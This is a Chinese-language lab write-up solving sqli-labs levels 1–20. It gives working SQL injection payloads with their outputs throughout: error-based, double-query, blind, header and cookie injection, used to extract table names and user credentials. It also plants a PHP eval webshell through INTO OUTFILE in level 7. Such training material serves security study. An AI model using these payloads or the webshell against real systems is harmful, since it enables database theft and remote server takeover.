【Web安全靶场】sqli-labs-master 1-20 BASIC-Injection

2024-02-28 12:52

本文主要是介绍【Web安全靶场】sqli-labs-master 1-20 BASIC-Injection,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

sqli-labs-master 1-20 BASIC-Injection

文章目录

  • sqli-labs-master 1-20 BASIC-Injection
    • 第一关-报错注入
    • 第二关-报错注入
    • 第三关-报错注入
    • 第四关-报错注入
    • 第五关-报错注入-双查询注入
    • 第六关-报错注入-双查询注入
    • 第七关-outfile写入webshell
    • 第八关-布尔盲注
    • 第九关-时间盲注
    • 第十关-时间盲注
    • 第十一关-Post参数报错注入
    • 第十二关-Post参数双查询注入
    • 第十三关-Post参数双查询注入
    • 第十四关-Post参数双查询注入
    • 第十五关-Post参数布尔盲注
    • 第十六关-Post参数时间盲注
    • 第十七关-Post参数update报错注入
    • 第十八关-User-agent中insert报错注入
    • 第十九关-Referer中insert报错注入
    • 第二十关-cookie注入
  • 总结


第一关-报错注入

首先先确定注入方式,第一关的方法还是很多的,确认闭合方式后,这里就用报错注入:

?id=1' and updatexml(1,'~',3)--+

使用上述语句进行注入可以得到报错信息XPATH syntax error: ‘~’,故存在报错注入。

?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+

接着使用上述语句获取表名,得到XPATH syntax error: ‘~emails,referers,uagents,users’,接下来对users表的数据进行获取。

?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3) --+

通过使用上述语句可以获得字段名,得到 XPATH syntax error: ‘~id,username,password’,所以接下来的目的就是获取username和password。

?id=1' and updatexml(1,concat('~',(select group_concat(username,0x3a,password) from users)),3) --+

通过上述语句得到**XPATH syntax error: ‘~Dumb:Dumb,Angelina:I-kill-you,D’**不知道是不是完整的东西,这是因为updatexml的报错信息最多输出32位,所以这里使用substr进行截断处理:

?id=1' and updatexml(1,concat('~',substr((select group_concat(username,0x3a,password) from users),1,100)),3) --+

第二关-报错注入

这一关还是使用报错注入,首先确定闭合方式:

?id=2-1

通过上述语句可以确定这是数字型,接着判断是否可以使用报错注入:

?id=1 and updatexml(1,'~',3)

通过上述语句得到XPATH syntax error: ‘~’,所以可以使用报错注入。

?id=1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)

通过上述语句可以得到表名XPATH syntax error: ‘~emails,referers,uagents,users’,接着我们获取users表中的字段名。

?id=1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3)

通过上述语句可以得到users表的字段名,XPATH syntax error: ‘~id,username,password’,所以接下来的目的就是得到username和password。

?id=1 and updatexml(1,concat('~',substr((select group_concat(username,0x3a,password) from users),1,100)),3)

通过上述语句得到,XPATH syntax error: ‘~Dumb:Dumb,Angelina:I-kill-you,D’

第三关-报错注入

这一关还是使用报错注入,但是它的闭合方式不太一样了。

?id=1')--+

通过上述语句可以得到闭合方式是单引号与括号闭合,接下来就获取表名,获取方法还是和上面两道题一样。

?id=1') and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+

通过上述语句得到XPATH syntax error: ‘~emails,referers,uagents,users’,接下来获取users表的字段名

?id=1') and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3)--+

通过上述语句得到 XPATH syntax error: ‘~id,username,password’ ,最后获取username和password数据。

?id=1') and updatexml(1,concat('~',substr((select group_concat(username,0x3a,password) from users),1,100)),3)--+

通过上述语句得到, XPATH syntax error: ‘~Dumb:Dumb,Angelina:I-kill-you,D’

第四关-报错注入

这一关还是使用报错注入,闭合方式如下:

?id=1")--+

通过上述语句得到闭合方式为双引号加括号,接下来获取表名。

?id=1") and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+

通过上述语句得到表名为XPATH syntax error: ‘~emails,referers,uagents,users’,接下来获取users的字段名。

?id=1") and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3)--+

通过上述语句得到users的字段名为XPATH syntax error: ‘~id,username,password’,接下来获取username和password的数据。

?id=1") and updatexml(1,concat('~',substr((select group_concat(username,0x3a,password) from users),1,100)),3)--+

通过上述语句得到username和password数据为 XPATH syntax error: ‘~Dumb:Dumb,Angelina:I-kill-you,D’

第五关-报错注入-双查询注入

首先这对于初学来说这个报错注入会比较难理解,我们先判断闭合方式:

?id=1' and '1'='1
?id=1' and '1'='2

通过上述语句可以知道这是单引号闭合,接下来判断注入类型,这里先试一下Union注入:

?id=1' order by 3 --+
?id=1' order by 4 --+

通过上述语句可以得到字段数为3,接下来判断回显位:

?id=1' and '1'='2' union select 1,2,3--+

通过这一段payload,发现并没有回显位,所以Union注入不可行,所以回到报错注入。

?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+

通过上述语句得到的结果为 XPATH syntax error: ‘~emails,referers,uagents,users’,之后过程省略。但是这一关的考点为报错注入中的双查询注入,我们假设updatexml()被过滤了,我们要使用双查询注入,关于双查询注入的文章[【Double SQL Injection(双查询注入) | Mochazz’s blog】](https://mochazz.github.io/2017/09/23/Double_ SQL_Injection/)。

?id=1' union select 1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a --+

通过上述语句得到Duplicate entry ‘:emails,referers,uagents,users:0’ for key ‘’,接着获取users的字段名

?id=1' union select 1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a --+

通过上述语句得到 **Duplicate entry ‘:id,username,password:0’ for key ‘’**接着获取username和password:

?id=1' union select 1,concat(0x3a,(select concat(username,0x3a,password) from users limit 0,1),0x3a,floor(rand()*2)) as a,count(*) from information_schema.columns group by a --+

第六关-报错注入-双查询注入

这一关同样是双查询注入,首先确定闭合方式:

?id=1" and "1"="1
?id=1" and "1"="2

通过上述语句可以得出,这是双引号闭合,接着获取表名:

?id=1" union select 1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x3a,floor(rand()*2)) as a,count(*) from information_schema.columns  group by a --+

通过这一payload得出 Duplicate entry ‘:emails,referers,uagents,users:1’ for key ‘’,接下来获取users的字段名:

?id=1" union select 1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a --+

最后获取username和password:

?id=1" union select 1,concat(0x3a,(select concat(username,0x3a,password) from users limit 0,1),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a --+

第七关-outfile写入webshell

首先确定闭合方式:

Less-7/?id=1'--+
Less-7/?id=1')--+
Less-7/?id=1'))--+

通过上述可以得到闭合方式为单引号加上两个括号

?id=1')) order by 3 --+
?id=1')) order by 4 --+
?id=1')) union select 1,2,3 --+

通过上述可以得到字段数为3,且没有回显位,

?id=-1' union select 1,2,@@datadir --+

通过上述语句得到MySQL路径为Your Password:C:\phpstudy_pro\Extensions\MySQL5.7.26\data\

?id=1')) and (select count(*) from mysql.user)>0 --+

通过上述语句发现页面正常,得出对该网站的服务器有读写权限,所以我们可以写入一个webshell:

?id=1')) union select 1,"<?php @eval($_POST[cmd]);?>",3 into outfile "C:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\test.php" --+

通过蚁剑就可以直接连接了,如果写不进去,可能是权限不够,打开MySQL的my.ini文件,在里面添加secure_file_priv="/"即可。

在这里插入图片描述

在这里插入图片描述

第八关-布尔盲注

第八关的考点是布尔盲注,首先来判断闭合

?id=1' and '1'='2

接着根据只有显示和不显示的特点,选择布尔盲注,首先获取数据库名长度:

?id=1' and length(database())=8 --+

获得了数据库名后进行爆破了:

?id=1' and substr(database(),1,1)='s' --+

通过上述语句进而得到数据库名为security,接着开始爆破表名

?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e' --+

通过上述payload可以进一步得到存在users表,剩下过程略。

第九关-时间盲注

这一关的考点是时间盲注,首先确定闭合方式,发现怎么样也是显示You are in…,所以更加坚定是时间盲注了:

?id=1' and if(length(database())=8,sleep(3),1) --+

通过上述语句可以得出数据库名长度为8,接下来开始爆破库名

?id=1' and if(substr(database(),1,1)='s',sleep(3),1) --+

通过上面的模板可以得出库名为security,接下来开始爆破表名:

?id=1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(3),1) --+

通过上述模板可以得到表名,剩下过程略。

第十关-时间盲注

这一关是时间盲注,首先确定闭合方式,双引号闭合

?id=1" and sleep(1) --+

下面直接获取表名:

?id=1" and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(2),1) --+

下面获取字段名:

?id=1" and if(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)='i',sleep(2),1) --+

下面获取username和password数据:

?id=1" and if(substr((select concat(username,0x3a,password) from security.users limit 0,1),1,1)='D',sleep(2),1) --+

第十一关-Post参数报错注入

这一道题是Post型的注入了,第一道Post题比较简单,报

这一道题是Post型的注入了,第一道Post题比较简单,报错注入试一下,首先判断闭合方式:

在这里插入图片描述

通过上述得出为单引号闭合,下面直接爆表名:

在这里插入图片描述

剩下过程略。

第十二关-Post参数双查询注入

首先确定闭合方式:

在这里插入图片描述

在这里插入图片描述

通过以上确定这是双引号和括号闭合,接着确定字段数

uname=1") order by 2#&passwd=1&submit=Submit
uname=1") order by 3#&passwd=1&submit=Submit

复习一下双查询注入吧:

uname=1") union select concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a #&passwd=1&Submit=Submit

在这里插入图片描述

uname=1") union select concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a#&passwd=1&Submit=Submit

在这里插入图片描述

uname=1") union select concat(0x3a,(select concat(username,0x3a,password) from users limit 0,1),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a#&passwd=1&Submit=Submit

在这里插入图片描述

第十三关-Post参数双查询注入

这一关是双查询注入,直接给出每一步的payload吧

uname=1')#&passwd=1&Submit=Submit

接着判断字段数,使用order by,可知字段数为2

uname=1') order by 2#&passwd=1&Submit=Submit
uname=1') order by 3#&passwd=1&Submit=Submit

接着使用union select结合双查询注入得到表名:

uname=1') union select concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a#&passwd=1&Submit=Submit

在这里插入图片描述

接着获取users表的字段名:

uname=1') union select concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a#&passwd=1&Submit=Submit

在这里插入图片描述

接着获取username和password的数据

uname=1') union select concat(0x3a,(select concat(username,0x3a,password) from users limit 0,1),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a#&passwd=1&Submit=Submit

在这里插入图片描述

第十四关-Post参数双查询注入

这一道题是双查询注入,和第十三关一样,只是闭合方式为双引号而已:

uname=1"#&passwd=1&Submit=Submit
uname=1" order by 2#&passwd=1&Submit=Submit
uname=1" order by 3#&passwd=1&Submit=Submituname=1" union select concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a#&passwd=1&Submit=SubmitSubmit=Submit&passwd=1&uname=1" union select concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a#Submit=Submit&passwd=1&uname=1" union select concat(0x3a,(select concat(username,0x3a,password) from users limit 0,1),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a#

第十五关-Post参数布尔盲注

这一关使用的是布尔盲注,通过能否登录成功来判定对错

uname=1' or 1=1 -- #&passwd=1&Submit=Submit

通过上面万能语句可以知道存在布尔盲注,当1=1时候呈现登录成功,当1=2或其他false则呈现登录失败,注意点就是要用or而不是and,因为不知道用户名是什么

uname=1' or length(database())=8 -- #&passwd=1&Submit=Submit

通过上述语句可以知道数据库名长度为8。

uname=1' or substr(database(),1,1)='s' -- #&passwd=1&Submit=Submit

通过上述模板可以得到数据库名为security

uname=1' or substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e' -- #&passwd=1&Submit=Submit

通过上述模板可以得到表名有users,接着获取字段名。

uname=1' or substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)='i' -- #&passwd=1&Submit=Submit

获取数据过程省略

第十六关-Post参数时间盲注

通过万能语句得到闭合方式

uname=1") or 1=1 -- #&passwd=1&Submit=Submit

接着通过下面的模板逐步获取信息

uname=1") or if(length(database())=8,sleep(1),1) -- #&passwd=1&Submit=Submit
uname=1") or if(substr(database(),1,1)='s',sleep(1),1) -- #&passwd=1&Submit=Submituname=1") or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e',sleep(1),1) -- #&passwd=1&Submit=Submituname=1") or if(substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,1)='i',sleep(1),1) -- #&passwd=1&Submit=Submituname=1") or if(substr((select group_concat(username,0x3a,password) from users limit 0,1),1,1)='D',sleep(1),1) -- #&passwd=1&Submit=Submit

第十七关-Post参数update报错注入

在尝试username输入框中构造闭合发现怎么够不行,所以尝试在password中构造闭合

uname=Dhakkan&passwd=1'&Submit=Submit
uname=Dhakkan&passwd=1'-- #&Submit=Submit

通过上述语句可以知道这是单引号闭合,并且有报错信息,所以采取updatexml报错注入

uname=Dhakkan&passwd=1' and updatexml(1,0x7e,3) -- #&Submit=Submit

在这里插入图片描述

uname=Dhakkan&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #&Submit=Submit

在这里插入图片描述

uname=Dhakkan&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3) -- #&Submit=Submit

在这里插入图片描述

到最后一步的时候发现存在报错

在这里插入图片描述

关于这个报错可以看这篇文章,具体来说,这个报错的原因是,你在UPDATE语句中引用了一个子查询,而这个子查询正好涉及到了要更新的目标表。数据库系统不允许这种情况,因为在执行更新操作时,被更新的表可能会被锁定,而同时又要去访问它来执行子查询,这可能导致冲突。要解决这个问题,一种常见的方法是将子查询的结果先存储到一个临时表中,然后再使用UPDATE语句来更新目标表,这样就不会出现目标表同时被更新和查询的情况了。

uname=Dhakkan&passwd=1' and updatexml(1,concat(0x7e,(select password from (select password from users limit 0,1)test)),3) -- #&Submit=Submit

在这里插入图片描述

这个子查询中使用了嵌套的SELECT语句从表"users"中选择密码信息,但在子查询中,表"users"被重命名为"test",这样就避免了直接在UPDATE语句中引用原始表名"users",从而避免了报错。

第十八关-User-agent中insert报错注入

这一道题是在请求头中注入,页面上显示的是我的IP地址,先分析请求头:

POST /sqli-labs-master/Less-18/ HTTP/1.1
Host: 192.168.5.141
Content-Length: 28
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.5.141
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.5.141/sqli-labs-master/Less-18/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: closeuname=&passwd=&submit=Submit

HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。
X-Forwarded-For:简称XFF头,它代表客户端,用于记录代理信息的,每经过一级代理(匿名代理除外),代理服务器都会把这次请求的来源IP追加在X-Forwarded-For中。
Cookie,有时也用其复数形式 Cookies,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)。
X-Real-IP一般只记录真实发出请求的客户端IP。
Accept Language请求头允许客户端声明它可以理解的自然语言,以及优先选择的区域方言。
User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
Accept代表客户端希望接受的数据类型,数据类型中的先后次序表示客户端接受的先后次序。
Referer表示一个来源,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从那个页面链接过来的,服务器借此可以获得一些信息用于处理。Referer用于所有类型的请求。

一开始想的是XFF注入,但是这里却没有XFF的头,当我输入正确的账号密码时候发现了我的User-agent显示出来了,所以我断定这是在User-agent中注入。

先检查代码吧:

uname和passwd都进行了过滤操作,所以不考虑从这两个地方注入

	$uname = check_input($_POST['uname']);$passwd = check_input($_POST['passwd']);

代码中有一段insert的sql语句

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

所以我们可以利用user-agent构造payload。

insert中的报错注入原理如下:

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('' and updatexml(1,0x7e,3) and '', '$IP', $uname)
User-Agent: ' and updatexml(1,0x7e,3) and '

在这里插入图片描述

User-Agent: ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) or '

在这里插入图片描述

剩下部分略。

第十九关-Referer中insert报错注入

这一关输入正确的账号密码之后显示出Referer,可以判定这是referer注入。

Referer: ' or sleep(10) or '

通过上述语句可以知道,能够在sleep(10)中构造payload,虽然最终显示的Referer是 ’ or sleep(10) or ',但是sleep()还是被执行了。

Referer: ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) or '

在这里插入图片描述

Referer: ' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3) or '

在这里插入图片描述

Referer: ' or updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from users limit 0,1)),3) or '

在这里插入图片描述

第二十关-cookie注入

登录进去发现有个删除cookie的按钮,在进行探针测试时候没有任何结果,所以分析了一下源代码,发现根本没有delect的SQL语句,先分析一下过程,首先登录框输入完成账号密码之后提交,流量包里面并没有发现cookie,服务器收到账号密码之后确认无误就会给你setcookie()所以你又发送了一个带有cookie的流量包,服务器源代码检测到cookie之后就会执行如下代码,这里省略一些没用的:

if (!isset($_POST['submit'])) {$cookee = $_COOKIE['uname'];$format = 'D d M Y - H:i:s';$timestamp = time() + 3600;echo "YOUR USER AGENT IS : " . $_SERVER['HTTP_USER_AGENT'];echo "YOUR IP ADDRESS IS : " . $_SERVER['REMOTE_ADDR'];echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);$sql = "SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";$result = mysql_query($sql);if (!$result) {die('Issue with your mysql: ' . mysql_error());}$row = mysql_fetch_array($result);if ($row) {echo 'Your Login name:' . $row['username'];echo '<font color= "grey" font size="5">';echo 'Your Password:' . $row['password'];echo 'Your ID:' . $row['id'];} else {echo '<img src="../images/slap1.jpg" />';//echo '<img src="../images/Less-20.jpg" />';}echo '<form action="" method="post">';echo '<input  type="submit" name="submit" value="Delete Your Cookie!" />';echo '</form>';} 

注入点就在**$sql = “SELECT * FROM users WHERE username=‘$cookee’ LIMIT 0,1”;**,不解释了,直接看payload:

Cookie: uname=dhakkan' or updatexml(1,0x7e,3)  or '

在这里插入图片描述

剩下过程就省略了,这里对cookie没有任何过滤操作。

总结

  • 双查询注入中关键为:floor(rand(14)*2)、count(*)、group by
  • Post登录框中利用盲注,前后变化为登录成功和失败并且要使用万能头
  • update insert 等能用or就用or
  • 注意update语句中引用子查询,可能要使用嵌套select

这篇关于【Web安全靶场】sqli-labs-master 1-20 BASIC-Injection的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/755566

相关文章

20.Spring5注解介绍

1.配置组件 Configure Components 注解名称说明@Configuration把一个类作为一个loC容 器 ,它的某个方法头上如果注册7@Bean , 就会作为这个Spring容器中的Bean@ComponentScan在配置类上添加@ComponentScan注解。该注解默认会扫描该类所在的包下所有的配置类,相当于之前的 <context:component-scan>@Sc

Jitter Injection详解

一、定义与作用 Jitter Injection,即抖动注入,是一种在通信系统中人为地添加抖动的技术。该技术通过在发送端对数据包进行延迟和抖动调整,以实现对整个通信系统的时延和抖动的控制。其主要作用包括: 改善传输质量:通过调整数据包的时延和抖动,可以有效地降低误码率,提高数据传输的可靠性。均衡网络负载:通过对不同的数据流进行不同程度的抖动注入,可以实现网络资源的合理分配,提高整体传输效率。增

JavaWeb系列二十: jQuery的DOM操作 下

jQuery的DOM操作 CSS-DOM操作多选框案例页面加载完毕触发方法作业布置jQuery获取选中复选框的值jQuery控制checkbox被选中jQuery控制(全选/全不选/反选)jQuery动态添加删除用户 CSS-DOM操作 获取和设置元素的样式属性: css()获取和设置元素透明度: opacity属性获取和设置元素高度, 宽度: height(), widt

9 个 GraphQL 安全最佳实践

GraphQL 已被最大的平台采用 - Facebook、Twitter、Github、Pinterest、Walmart - 这些大公司不能在安全性上妥协。但是,尽管 GraphQL 可以成为您的 API 的非常安全的选项,但它并不是开箱即用的。事实恰恰相反:即使是最新手的黑客,所有大门都是敞开的。此外,GraphQL 有自己的一套注意事项,因此如果您来自 REST,您可能会错过一些重要步骤!

【网络安全的神秘世界】搭建dvwa靶场

🌝博客主页:泥菩萨 💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具 下载DVWA https://github.com/digininja/DVWA/blob/master/README.zh.md 安装DVWA 安装phpstudy https://editor.csdn.net/md/?articleId=1399043

数据库原理与安全复习笔记(未完待续)

1 概念 产生与发展:人工管理阶段 → \to → 文件系统阶段 → \to → 数据库系统阶段。 数据库系统特点:数据的管理者(DBMS);数据结构化;数据共享性高,冗余度低,易于扩充;数据独立性高。DBMS 对数据的控制功能:数据的安全性保护;数据的完整性检查;并发控制;数据库恢复。 数据库技术研究领域:数据库管理系统软件的研发;数据库设计;数据库理论。数据模型要素 数据结构:描述数据库

PAT-1039 到底买不买(20)(字符串的使用)

题目描述 小红想买些珠子做一串自己喜欢的珠串。卖珠子的摊主有很多串五颜六色的珠串,但是不肯把任何一串拆散了卖。于是小红要你帮忙判断一下,某串珠子里是否包含了全部自己想要的珠子?如果是,那么告诉她有多少多余的珠子;如果不是,那么告诉她缺了多少珠子。为方便起见,我们用[0-9]、[a-z]、[A-Z]范围内的字符来表示颜色。例如,YrR8RrY是小红想做的珠串;那么ppRYYGrrYBR2258可以

BD错误集锦3——ERROR: Can't get master address from ZooKeeper; znode data == null

hbase集群没启动,傻子!   启动集群 [s233 s234 s235]启动zk集群 $>zkServer.sh start $>zkServer.sh status   [s233] 启动dfs系统 $>start-dfs.sh 如果s237 namenode启动失败,则 [s237] $>hadoop-daemon.sh start namenode [s233]启动yarn集群

使用JWT进行安全通信

在现代Web应用中,安全通信是至关重要的。JSON Web Token(JWT)是一种流行的安全通信方式,它允许用户和服务器之间安全地传输信息。JWT是一种紧凑的、URL安全的表示方法,用于在两方之间传输信息。本文将详细介绍JWT的工作原理,并提供代码示例帮助新人理解和实现JWT。 什么是JWT? JWT是一种开放标准(RFC 7519),它定义了一种紧凑且自包含的方式,用于在各方之间以JSO

JavaWeb系列六: 动态WEB开发核心(Servlet) 上

韩老师学生 官网文档为什么会出现Servlet什么是ServletServlet在JavaWeb项目位置Servlet基本使用Servlet开发方式说明快速入门- 手动开发 servlet浏览器请求Servlet UML分析Servlet生命周期GET和POST请求分发处理通过继承HttpServlet开发ServletIDEA配置ServletServlet注意事项和细节 Servlet注